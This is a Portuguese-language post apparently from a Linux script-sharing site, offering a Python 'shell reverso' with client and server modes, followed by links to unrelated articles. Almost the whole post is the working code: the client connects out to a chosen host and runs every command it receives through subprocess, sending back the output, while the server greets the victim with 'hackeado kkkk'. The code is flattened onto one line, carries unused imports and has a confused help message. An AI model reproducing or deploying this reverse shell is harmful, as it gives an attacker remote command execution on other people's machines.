Shell reverso em Python - cliente e servidor
Publicado por henrique (última atualização em 31/10/2020)
[ Hits: 2.161 ]
Homepage: naotem.com
Um shell reverso com cliente e servidor básico para que você possa personalizar.
#!/usr/bin/env python3 import socket import sys import subprocess import threading import tqdm import os import cv2 import numpy as np import pyautogui buffer = 4096 # display screen resolution, get it from your OS settings # define the codec # create the video write object if len(sys.argv) < 2: sys.exit quit() if sys.argv[1] == '-h': print("""[host]:[port] -l = host -p = porta example ./netcatt.py -h 192.168.0.1 -p 2000""") sys.exit() quit() print("""[host] [port]""") a = input('clien, ou server: ') if sys.argv[1] == '-l': host = str(sys.argv[2]) if sys.argv[3] == '-p': port = int(sys.argv[4]) s = socket.socket() if a in 'Ss': s.bind((host,port)) s.listen(5) print(f'listndo {host}:{port}') client_socket, client_adress = s.accept() message = 'hackeado kkkk'.encode() client_socket.send(message) while True: command = input('comando: ') client_socket.send(command.encode()) if command.lower() == "exit": break results = client_socket.recv(buffer).decode() print(results) client_socket.close() s.close if a in 'cC': s.connect((host, port)) message = s.recv(buffer).decode() print('server: ', message) # start sending the file while True: # receive the command from the server command = s.recv(buffer).decode() if command.lower() == "exit": break output = subprocess.getoutput(command) # send the results back to the server s.send(output.encode()) # close client connection s.close() if s.close: print('-'*20, 'fim', '-'*18)
B.S.A.N.S. - Break Security - Automated Network Scanner [PARTE 1]
Peer-to-peer nós para processamento em multipontos
verifySite - um verificador de sites
Servidor de Backup com Ubuntu Server 24.04 LTS, RAID e Duplicati (Dell PowerEdge T420)
Visualizar câmeras IP ONVIF no Linux sem necessidade de instalar aplicativos
Atualizar Debian Online de uma Versão para outra
Instalar driver Nvidia no Debian 13
Redimensionando, espelhando, convertendo e rotacionando imagens com script
Debian 13 Trixie para Iniciantes
Convertendo pacotes DEB que usam ZSTD (Padrão Novo) para XZ (Padrão Antigo)